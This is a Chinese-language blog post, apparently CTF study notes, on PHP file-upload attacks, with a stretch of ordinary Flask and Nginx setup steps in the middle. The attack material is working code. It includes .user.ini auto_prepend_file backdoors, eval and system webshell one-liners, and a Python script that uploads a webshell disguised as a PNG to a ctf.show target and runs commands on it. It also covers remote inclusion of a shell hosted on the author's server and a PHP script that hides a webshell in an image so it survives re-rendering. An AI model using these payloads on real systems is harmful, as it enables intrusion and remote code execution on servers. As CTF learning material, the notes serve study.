檔案上傳-1
阿新 • • 發佈:2022-03-30
.user.ini
在每次執行php檔案時,會自動去讀取這個配置檔案,來設定PHP的相關規則
PHP_INI_*模式的定義
模式 | 含義 |
---|---|
PHP_INI_USER | 可在使用者指令碼(例如ini_set())或Windows登錄檔(自PHP 5.3起)以及.user.ini中設定 |
PHP_INI_PERDIR | 可在php.ini, .htaccess或httpd.conf中設定 |
PHP_INI_SYSTEM | 可在php.ini或httpd.conf中設定 |
PHP_INI_ALL | 可在任何地方設定 |
實際上,除了PHP_INI_SYSTEM以外的模式,都能通過.user.ini來設定。而且和php.ini不同的是,.user.ini是一個能被動態載入的ini檔案。即修改了.user.ini後不需要重啟伺服器中介軟體,只要等待user_ini.cacher_ttl所設定的時間(預設為300秒),即可被重新載入。
後門設定
我們能夠自定義的設定是模式PHP_INI_PERDIR和PHP_INI_USER的設定
其中有兩個配置可以製造後門
指定一個檔案,自動包含在要執行的檔案前,類似於在檔案前呼叫了require()函式。而auto_append_file類似,只是在檔案後面包含,直接將下面語句寫在user.ini中即可
auto_prepend_file = test.jpg
或者
auto_append_file = test.jpg
訪問方法
直接訪問index.php
注意:訪問上傳目錄的index.php
PHP短標籤
在php的配置檔案(php.ini)中有一個short_open_tag的值,開啟以後才可以使用PHP的短標籤:
同時,只有開啟這個才可以使用<?=代替<? echo
陣列過濾括號
使用陣列相應函式彈出陣列內容
<?= eval(array_pop($_POST))?>
寫個指令碼
import requests url = "http://7f10bd72-59b8-49c0-9ad7-79b773290359.challenge.ctf.show/upload.php" files = {"file": ("world.png", "<?= system(\"{}\")?>".format(input("Please input command:")), "image/png")} response = requests.post(url, files=files) print(response.text) result = requests.get(url[:-4] + "/index.php") print(result.text)
嘗試各種檔案頭
記一次遠端檔案包含
- 上傳.user.ini檔案,使其解析無後綴的檔案"22"
- 在"22"中使用include呼叫http協議請求自己雲伺服器shell,實現getshell。
注意:有的時候需要使用flask框架搭建的網站,而不能使用index.php
debian下flask環境搭建
安裝基礎包
sudo apt-get install build-essential
sudo apt-get install libncurses5-dev libncursesw5-dev libreadline6-dev
sudo apt-get install libdb5.1-dev libgdbm-dev libsqlite3-dev libssl-dev
sudo apt-get install libbz2-dev libexpat1-dev liblzma-dev zlib1g-dev
安裝Python3
sudo apt-get update
sudo apt-get install python3.6
安裝Nginx
sudo apt-get install nginx
# 檢視版本
nginx -v
啟動Nginx
sudo /etc/init.d/nginx start
停止Nginx
sudo nginx -s stop
安裝uWSGI
pip install uwsgi
安裝虛擬環境virtualenv
pip install virtualenv
安裝網站
首先cd到你做網站根目錄的地址,然後
建立:
virtualenv env
啟用虛擬環境:
source env/bin/activate
安裝flask:
pip install flask
退出虛擬環境:
deactivate
寫一個Flask檔案
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "你好呀,胡炎凱!"
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
開始
進入虛擬環境
python main.py就可以了
將ip轉為長地址
32位十進位制數
直接請求遠端檔案
在.user.ini中配置auto_prepend_file=http://xxx
或者配置auto_append_file=http://xxx
二次渲染指令碼
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y + 1];
$b = $p[$y + 2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png');
/*
<?$_GET[0]($_POST[1]);?>
*/
?>